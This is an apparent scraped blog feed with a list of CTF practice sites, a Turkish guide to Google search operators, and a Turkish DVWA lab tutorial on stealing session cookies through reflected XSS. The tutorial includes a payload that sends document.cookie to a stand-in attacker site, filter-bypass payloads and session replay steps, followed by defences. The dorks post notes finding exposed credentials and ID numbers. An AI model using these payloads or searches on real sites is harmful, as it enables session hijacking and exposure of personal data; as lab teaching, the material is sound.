Online Games Recommended ctf.canyoupwn.me pwnable.kr picoctf.com microcorruption.com/login reversing.kr hax.tor.hu w3challs.com pwn0.com smashthestack.org ringzer0team.com hellboundhackers.org overthewire.org/wargames counterhack.net/Counter_Hack/Challenges.html hackthissite.org vulnhub.com ctftime.org dareyourmind.net   Others hackthecause.info bright-shadows.net mod-x.co.uk/main.php scanme.nmap.org hackertest.net net-force.nl securityoverride.org   Meta wechall.net/sites.php ctf.forgottensec.com/wiki repo.shell-storm.org/CTF   Webapp Specific demo.testfire.net wocares.com/xsstester.php crackme.cenzic.com test.acunetix.com zero.webappsecurity.com   Forensics Specific computer-forensics.sans.org/community/challenges forensicscontest.com   Recruiting praetorian.com/challenges/pwnable rtncyberjobs.com 0x41414141.com   Paid Training […]

EN | CTF Lists Mustafa Kaan Demirhan

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Online Games

Recommended

  • ctf.canyoupwn.me
  • pwnable.kr
  • picoctf.com
  • microcorruption.com/login
  • reversing.kr
  • hax.tor.hu
  • w3challs.com
  • pwn0.com
  • smashthestack.org
  • ringzer0team.com
  • hellboundhackers.org
  • overthewire.org/wargames
  • counterhack.net/Counter_Hack/Challenges.html
  • hackthissite.org
  • vulnhub.com
  • ctftime.org
  • dareyourmind.net

 

Others

  • hackthecause.info
  • bright-shadows.net
  • mod-x.co.uk/main.php
  • scanme.nmap.org
  • hackertest.net
  • net-force.nl
  • securityoverride.org

 

Meta

  • wechall.net/sites.php
  • ctf.forgottensec.com/wiki
  • repo.shell-storm.org/CTF

 

Webapp Specific

  • demo.testfire.net
  • wocares.com/xsstester.php
  • crackme.cenzic.com
  • test.acunetix.com
  • zero.webappsecurity.com

 

Forensics Specific

  • computer-forensics.sans.org/community/challenges
  • forensicscontest.com

 

Recruiting

  • praetorian.com/challenges/pwnable
  • rtncyberjobs.com
  • 0x41414141.com

 

Paid Training

  • heorot.net

 

Downloadable Offline Games

  • badstore.net
  • owasp.org/index.php/Category:OWASP_WebGoat_Project
  • owasp.org/index.php/Owasp_SiteGenerator
  • Damn Vulnerable Web App
  • Stanford SecureBench
  • Stanford SecureBench Micro
  • irongeek.com/i.php?page=security/mutillidae-deliberately-vulnerable-php-owasp-top-10

 

Virtual Machines

EN | CTF Lists Mustafa Kaan Demirhan

]]>
https://canyoupwn.me/en-ctf-lists/feed/ 0
TR | Google Dorks https://canyoupwn.me/tr-google-dorks/ https://canyoupwn.me/tr-google-dorks/#respond Thu, 19 May 2016 17:36:41 +0000 https://canyoupwn.me/?p=2328 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Merhabalar, Bu yazımda size Google Dorks’dan bahsedeceğim.İlk olarak Dork’un sözlükteki anlamından, sonra google dork’un ne olduğundan, daha sonra kullanacağımız parametrelerin sekmede gösterimi, paramatrelerden bahsedeceğim ve makalemizi sonlandıracağım. Dork sözlükte kullanılmayan, popüler olmayan anlamlarına gelmektedir.Makalemizde google dork ile nasıl daha etkin aramalar yapabileceğimizi inceleyeceğiz. Google Dorks, diğer bir ismi ile Google Hacking Database bir pasif saldırı […]

TR | Google Dorks CypmUni PAÜ

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Merhabalar, Bu yazımda size Google Dorks’dan bahsedeceğim.İlk olarak Dork’un sözlükteki anlamından, sonra google dork’un ne olduğundan, daha sonra kullanacağımız parametrelerin sekmede gösterimi, paramatrelerden bahsedeceğim ve makalemizi sonlandıracağım.

Dork sözlükte kullanılmayan, popüler olmayan anlamlarına gelmektedir.Makalemizde google dork ile nasıl daha etkin aramalar yapabileceğimizi inceleyeceğiz.

Google Dorks, diğer bir ismi ile Google Hacking Database bir pasif saldırı methodudur.Araştırma yapmak için ilk yoldur.Google’da etkin bir arama yapma yöntemidir.

Peki biz bu aramaları yaptığımızda Google’da ne oluyor da biz bilgiye daha etkin ve rahat bir şekilde ulaşabiliyoruz?
Cevap: Google’a göre algoritmaları “Tipik bir sorgu için, yararlı bilgiye sahip milyonlarca olmasa bile binlerce web sayfası bulunur. Algoritmalar, sorularınızı alıp yanıtlara dönüştüren bilgisayar işlemleri ve formülleridir. Günümüzde, Google’ın algoritmaları gerçekte neyi arıyor olabileceğinizi tahmin etmeyi mümkün kılan 200’den fazla benzersiz sinyale veya “ipucuna” dayanmaktadır. Bu sinyaller, web sitelerindeki terimler, içeriğin güncelliği, bölgeniz ve PageRank gibi öğeleri içerir. “
Yani kısaca özetlememiz gerekirse arama yaptığımzı bir içeriği örneğin baba’yı arama yaptığımızda google algoritmaları bize tüm databaselerinde bulunan baba içeriğini gösterecektir..Fakat gelecek içerik çok fazla olacaktır bu yüzden belli başlı parametreler ile bunu daha az ve öz seviyeye indirmeyi hedefliyoruz.

Google dork ile kullanıcı adı ve şifreleri, e-mail listeleri, dökümanlar, kişisel bilgiler ve websitelerinin korunmasız yolları bulunabilir.Aşağıda belirteceğim parametreler aracılığı ile kolayca istenilen bilgi elde edilebilir.
Aşağıda belirteceğim parametreler aracılığı ile kolayca istenilen bilgi elde edilebilir.

İlk olarak sekmemizde neyin ne olduğunu inceleyelim;

1

  • site : adres çubuğumuzda bulunan “https://canyoupwn.me” kısım.
  • inurl : adres çubuğumuzda bulunan “canyoupwn.me” kısım
  • intitle : sekmemizin başlığı “canyoupwn.me-for…”
  • intext : resimdeki web sayfamızın sol alt köşesinde bulunan kısım “ TR | Nmap Cheat Sheet ”
  • intitle : Aradığımız sayfanın başlığını bulacaktır.
  • inurl : Aradığımız sayfanın url’ni bulacaktır.
  • Url : İnternet’te bir kaynağa (belge veya resim gibi) rastgelen, standart bir formata uygun bir karakter dizgisidir.
  • filetype : Aradığımız belirli dosyaları bulacaktır.
  • allintext : Aradığımız tüm text dosyalarını bulacaktır.
  • link : Aradığımız link’e ait sayfaları bulacaktır
  • inanchor : Google aradığımız içerik bilgisi ile bağlantılı, içeriklere sahip bağlantılar ile aramamızı kısıtlayacaktır.
  • numrange : Google aradığımız numara veya numara aralıklarını bulacaktır.
  • daterange : Aradığımız tarih veya tarih aralıklarını bulacaktır.
  • author : Aradığımız yazara ait bilgileri bulacaktır.
  • groups : Google aradığımız bir topluluk ismini google groups da bulunan makaleler ve benzer isimdeki topluluk içerikleri ile sınırlandıracaktır.
  • insubject : Google, konuyla belirttiğimiz terimleri içeren içerikler(makale vb.) ile sınırlar.
  • msgid : (message id yani Türkçe adı ile mesaj kimliği) Her e-postanın bir kimliği(id) vardır.Google da bu kimlik ile arama yaptığımızda bu e-posta ile bağlantılı bilgiler ile aramamız sınırlanacaktır.
  • define : Aradığımız girdi ile ilgili bilgi bulacaktır.
  • maps : Aradığımız lokasyon ile ilgili bilgi bulacaktır.
  • book : Aradığımız kitap ile ilgili bilgi bulacaktır.
  • info : Google girdiğimiz url ile ilgili web sayfası hakkında bilgiler ile aramayı sınırlayacaktır.
  • related : Google girdiğimiz url ile belirttiğimiz web sayfası ile benzer web sayfaları ile aramayı sınırlandıracaktır.

Peki parametrelerimiz bu kadar mı ?
Tabi ki hayır şimdi birkaç parametrenin nasıl kullanıldığını örneklerle göreceğiz.

intitle : Google aradığımız bilgiyi başlık adı ile kısıtlayacaktır.Title Türkçede başlık anlamına gelmektedir.

2

 

inurl : Aradığımız sayfanın url’ni bulacaktır.Google aradığımız bilgiyi url bilgisi ile kısıtlar, peki url nedir?
Url : İnternet’te bir kaynağa (belge veya resim gibi) rastgelen, standart bir formata uygun bir karakter dizgisidir. Örneğin https://canyoupwn.me/

3

 

filetype : Aradığımız belirli dosyaları bulacaktır.Google aramızı dosya son ekine göre kısıtlayacaktır.Filetype Türkçede dosya tipi anlamına gelmektedir.
Peki dosya tipi nedir? Dosya tipi bilgisayarınızda kullandığınız dosyalarınızın türünü belirten tanımlamadır.Örneğin Txt,doc,jpg vs.

4

 

allintext : Aradığımız tüm text dosyalarını bulacaktır.Google metin içerisinde aradığımız sorgu ile aramaları kısaltacaktır.

5

 

site : Aradığımız özel siteleri bulacaktır.Google aradığımız websayfası ile aramamızı sınırlayacaktır.

6

 

link : Aradığımız link’e ait sayfaları bulacaktır.Aradağımız siteye ait bağlantıları döker.

7

 

inanchor : Google aradığımız içerik bilgisi ile bağlantılı, içeriklere sahip bağlantılar ile aramamızı kısıtlayacaktır.

8

 

numrange : Google aradığımız numara veya numara aralıklarını bulacaktır.Böylece açık şekilde paylaşılmış telefon numaraları, Tc kimlik numaraları gibi numaraları bulabilirsiniz.

9

 

daterange : Aradığımız tarih veya tarih aralıklarını bulacaktır.

10

 

author : Aradığımız yazara ait bilgileri bulacaktır.

11

 

groups : Google aradığımız bir topluluk ismini google groups da bulunan makaleler ve benzer isimdeki topluluk içerikleri  ile sınırlandıracaktır.

(Google Groups : Google tarafından ücretsiz olarak sağlanan çevirimiçi gruplar ve mail listesi servisidir. Google Groups kullanarak, ilgi alanlarına göre gruplar bulunabilir ve üye olunabilir. Grup sayfasına mesaj bırakılabildiği gibi, grup mail adresini kullanarak tüm liste üyelerine mail de atılabilir.)

12

 

insubject : Google, konuyla belirttiğimiz terimleri içeren içerikler(makale vb.) ile sınırlar

13

 

msgid : (message id yani Türkçe adı ile mesaj kimliği) Her e-postanın bir kimliği(id) vardır.Google da bu kimlik ile arama yaptığımızda bu e-posta ile bağlantılı bilgiler ile aramamız sınırlanacaktır.
örnek bir msgid: <[email protected]>

14

 

define : Aradığımız girdi ile ilgili bilgi bulacaktır.Böylece bir sunucuya ait exploit(zafiyet) ve-veya bir yazılım dilinde karşılaştığımız hataya ait ilgili bağlantılar ile aramamız sınırlanmış olacaktır.

15

 

maps : Aradığımız lokasyon ile ilgili bilgi bulacaktır.

16

 

book : Aradığımız kitap ile ilgili bilgi bulacaktır.

17

 

info : Google girdiğimiz url ile ilgili web sayfası hakkında bilgiler ile aramayı sınırlayacaktır.

18

 

related : Google girdiğimiz url ile belirttiğimiz web sayfası ile benzer web sayfaları ile aramayı sınırlandıracaktır.

19

TR | Google Dorks CypmUni PAÜ

]]>
https://canyoupwn.me/tr-google-dorks/feed/ 0
TR| How to Steal Cookie with XSS https://canyoupwn.me/tr-how-to-use-xss/ https://canyoupwn.me/tr-how-to-use-xss/#respond Thu, 19 May 2016 09:21:47 +0000 https://canyoupwn.me/?p=2308 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

XSS Nedir ? Netscape , javascript dilinin tarayıcılarda çalıştırabileceğini duyurduğunda web sunucusu tarafından gönderilen ve istemcide çalıştıralabilen kodların güvenlik riskleri yaratabileceğini göstermiş oluyordu.Örneğin bir sayfadan çalıştırılan betik diğer bir sayfaya ulaşabilecekti.İşte bu noktada xss açıkları kullanılabilecekti.Açılımı Cross-Site Scripting olan Xss saldırıları Reflected XSS ve Stored XSS olmak üzere ikiye ayrılmaktadır.Reflected XSS saldırısı bir web uygulamasının […]

TR| How to Steal Cookie with XSS CypmUni PAÜ

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

XSS Nedir ?

Netscape , javascript dilinin tarayıcılarda çalıştırabileceğini duyurduğunda web sunucusu tarafından gönderilen ve istemcide çalıştıralabilen kodların güvenlik riskleri yaratabileceğini göstermiş oluyordu.Örneğin bir sayfadan çalıştırılan betik diğer bir sayfaya ulaşabilecekti.İşte bu noktada xss açıkları kullanılabilecekti.Açılımı Cross-Site Scripting olan Xss saldırıları Reflected XSS ve Stored XSS olmak üzere ikiye ayrılmaktadır.Reflected XSS saldırısı bir web uygulamasının linkinde eğer parametre varsa ve bu parametrenin değeri sayfaya çıktı olarak “yansıtılıyorsa” saldırganların bu mekanizmayı kullanarak kendi değerlerini sayfaya yansıttırması işlemine denir. Reflected türkçe olarak zaten yansıtılmış anlamına gelir.Deneme yanılma yaparak bulununan bu açıklar ile saldırgan, başka bir alan adından, açığın bulunfuğu alan adı ve sayfanın bilgilerini,oturum ayrıntılarını ve diğer nesne değerlerini çalabilmektedir.Stored XSS ise kalıcı hedef siteye kalıcı hasarlara yol açabilir. Örneğin o sitenin veritanına enjekte edilmiş komutlar ile kalıcı hasarlar verilmiş olur.

 

A.XSS Nasıl Kullanırız ?

1) XSS açığı mevcut mu ?

Deneme yanılma ile bunu bulmaya çalışıyoruz. Örneğin, dwva nın bize sunduğu xss açığında input’a gelip <script>alert(‘Sayfa XSS Açığına Sahip’)</script> yazdığımız zaman ekrana aşşağıdaki gibi bir aler alabiliyorsak bu sistemde açık mevcut demektir.

Not: XSS zafiyetlerini chrome tarayıcısı engellemektedir fakat kaynak kodu görüntülediğimizde kırmızı renklendirdiğini görebilirsiniz. Makalemde Firefox web tarayıcısını kullanacağım.

1

 

2.) XSS mevcut ise neler yapabiliriz ?

Bu açığı uygulamak için bir web uygulamasına ihtiyacımız var biz burada örnek olarak DVWA kullanacağız. Öncelikle bunun kurulumunu yaparak başlıyoruz. Aşşağıdaki linkten gerekli dosyayı indiriyoruz.
https://github.com/RandomStorm/DVWA/archive/v1.9.zip

İnecek dosyayı kurulu işletim sistemimizde çalışan web sunucusunun ( Apache – Nginx – LiteSpeed – Python simple web server vb ) çalıştırılabilir dizinine çıkartıyoruz. Ben kurulumu apache web sunucusu üzerine devam ettireceğim, kullandığım işletim sistemi Linux dağıtımı olduğu için dosyamı çıkartacağım dizin “ /var/www/html” dizini olacaktır. Windows bir bilgisayarda XAMP kurulu ise “C://xamp/htdocs”, OS X işletim sistemine sahip olan bilgisayarda MAMP kurulu ise, “Applications/MAMP/htdocs/” dizini altına çıkarmanız, değil ise kullandığınız web sunucunun çalıştırılabilir kök diznine yerleştirmeniz gerekmektedir.

Sisteminizde bulunan herhangi bir metin düzenleyici aracılığı ile ilgili dosyayı açıp düzenlemeniz gerekmektedir, yazımda ben sublime text 3 editörünü kullandım.
Terminal:

subl /var/www/html/DVWA-1.0/config/config.inc.php

Bu işlemleri yaptıktan sonra dvwa-1.9’un içerisinde yer alan config klasörüne geliyoruz ve buradaki config.inc.php dosyasını metin editörü ile açıyoruz.
2

Burada yer alan ‘p@ssw0rd’ olan kısımı root olarak yada kendi şifremiz ne ise onunla değiştiriyoruz.
Son olarakta tarayıcımızda localhostumuzdan bu dvwa yı açıp create database dediğimizde kurulumu bitirmiş oluyoruz. Username’e “admin”, şifre kısmına ise “password” yazarak DVWA sistemine giriş yapmış bulunuyoruz. DVWA standart olarak bu kullanıcı adı ve şifresini atamaktadır.
Bunun ardından DVWA Security sekmesine tıklayıp güvenlik düzeyini low’a getiriyoruz. ( Giriş seviyesinde zorluk )

3

 

Yukarıdaki gibi uyarıyı alabiliyorsak , hedef sitedeki ziyaretçinin o anki DVWA’ya ait olan çerezini ele geçirebiliriz.Böylece hedef sitede kurbanın kullanıcı adı ve şifresini bilmeden kurbanın çereziyle hedef sitede kurban yetkileri ile dolaşabiliriz.Peki bu işlemi nasıl gerçekleştiririz ?

Link:

http://localhost/DVWA-1.9/vulnerabilities/xss_r/?name=<script> window.location.href=”bizimsitemiz.com/index.php?cookie=” + document.cookie;</script>

Bu linkte gördüğümüz <script> window.location.href=”saldirganinsitesi.com/index.php?cookie=” + document.cookie;</script> script kodu başka bir sayfaya yönlendirmeye yarar ve cookie değerini bizim sitemize göndermemizi sağlar. Hazırladığımız index.php dosyasının içeriği aşağıdaki gibidir;

Screenshot_20160519_120541

 

B.Nasıl Uygularız ?

1.Low level DWVA :

Eğer Linux’ta DVWA’yı çalıştırıyorsanız /var/www/ dizini içerisinde “bizimsitemiz” adlı bir klasör oluşturun, Windows’ta DVWA’yı çalıştırıyorsanız C:\xampp\htdocs\ dizini içerisinde “bizimsitemiz” adlı bir klasör oluşturun. Bu klasörün içerisine index.php adlı bir dosya oluşturun ve dosyanın içerisine yukarıdaki php kodunu ekleyip kaydedin.
Linux dosya sisteminin gereği olan sonradan eklenen dosyaların güvenlik açısından yetkilendirilmesi zorunluğundan terminalimizden ilgili klasöre yetkilendirme vermeliyiz.

Terminal:

sudo chmod -R 777 /var/www/html/bizimsitemiz

Bu komutu uzak sunucunuzda kullanmanız güvenlik açısından zaafiyet oluşturacaktır.

4

 

Daha sonra belirlediğimiz kurbana göndereceğimiz link aşşağıdaki gibidir;

http://localhost/DVWA-1.9/vulnerabilities/xss_r/?name=<script>window.location.href="http://localhost/bizimsitemiz/index.php?cookie="%2Bdocument.cookie</script>

Kurban bu linke tıkladığı anda çerezini bize göndermiş olur.Bizde gelen bu değerleri dosyamıza yazdırmış oluruz.Şimdi biz hem kurban hemde saldırgan olarak bu senaryoyu gerçekleştirelim.

Firefox tarayıcımızdan kurban gibi verilen linke tıklayalım.

5

 

Bu ekranla karşılaşırız.Daha sonra cookie.html dosyamızı açıp oradaki cookie değerimizi kopyalayalım.

6

 

Daha sonra crome tarayacımızdan aşşağıdaki linki açalım ,

https://chrome.google.com/webstore/category/extensions?hl=tr

ve buradaki arama çubuğuna edit this cookie yazalım.Sonuçlar arasındaki EditThisCookie adlı eklentiyi crome’a ekleyelim.

7

 

Şimdi dvwa nın login sayfasına gelelim.

8

 

Daha sonra açılan sayfamızda sağ üstte bulunan yeni eklediğimiz eklentimizi açalım.

9

 

Buradaki security değerine low yazalım.Bunun ardından PHPSESSID sekmesine geçelim.

10

 

Daha sonra kopyaladığımız cookie değerini buraya yapıştıralım ve alttaki yeşil tike tıklayakım.
Son olarak yeni sekmeye geçelim ve tekrar DVWA’nın login ekranını açalım.Bu işlemi yaptığımızda bizi aşağıdaki gibi bir sayfa karşılayacaktır.

11

 

Gördüğünüz gibi kurbanın kullanıcı adı ve şifresini öğrenmeden sisteme o imiş gibi girebildik.

2.Medium Level DWVA:

Medium leveldeki kaynak kod;

Screenshot_20160519_121337

burada aldığı önlem str_replace komutu sayesinde gerçekleşir. Eğer ‘<script>’ gelirse önünde arkasında ne olursa olsun sil anlamına gelir.Bu güvenlik önlemini aşabilmek için <scr<script>ipt>alert(‘Sayfa XSS açığına sahip!’);</script>  şeklinde bir kod girersek bu önlemi aşmış oluruz ve alerti alabiliriz.

3.High Level DWVA:

High leveldeki kaynak kod;

Screenshot_20160519_121506

burada gördüğümüz üzere ;

/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i

Dikkat ederseniz (.*) kısımlarını regular expression’dan çıkarırsanız <script kelimesini göreceksiniz. <script’in aralarına konulan (.*) ile yapılmak istenen şudur: “<script yazısının başında, ortasında, sonunda, her yerinde başka karakter olabilir. Böyle bir desen bulursan onu komple sil”.

Bu güvenlik önlemini nasıl aşabiliriz ?
Tahmin edebileceğiniz üzere bu önlem sadece script tagleri için alınmıştır ancak biz burada hala alert alabilmemiz mümkündür bunu hmtl eventleri ile sağlayabiliriz.

<input type="text" onchange="alert('XSS Açığı Mevcut');">

Bu kodu gönderdiğimizde bir input daha açılacaktır bu eventi çalıştırabilmiş olacağız, ve yeni inputun içine yazabileceğimiz her yazı için alertimizi görebiliriz.

C.Korunma Yöntemleri

1)Kaynak Kod Önlemleri

Kaynak kodumuzda alacağımız önlemler bu konuda etkilidir.Makalemde kullandığım DWVA’nın bütün aşamalarının kaynak koduna baktığımızda alınan güvenlik önlemlerini görebiliriz.

2)Eklentiler

Uygulama güvenliğiniz için XSS vb. saldırılara karşı geliştirişmiş eklentiler mevcuttur.Bunlardan en sık kullanılanları : AntiXss ,HTML Purifier vb. eklentilerdir.Bu eklentileri kullanmanızı tavsiye ederim.

3)HTTP Güvenlik Komutları

HTTPOnly, Microsoft tarafından geliştirilmiştir. HTTPOnly’nin yaptığı iş cookie verilerimizi korumaktır.Cookie bilgilerinde HTTPOnly imzası taşıyan tanımlama bilgilerine,sadece HTTP protokolü tarafından erişim sağlanabilir.Yani bir XSS saldırısına mağrus kalmanız durumunda , tanımlama bilgilerinizde HTTPOnly imzası varsa tarayıcı bilgileri dışarıya aktarmayacaktır.

TR| How to Steal Cookie with XSS CypmUni PAÜ

]]>
https://canyoupwn.me/tr-how-to-use-xss/feed/ 0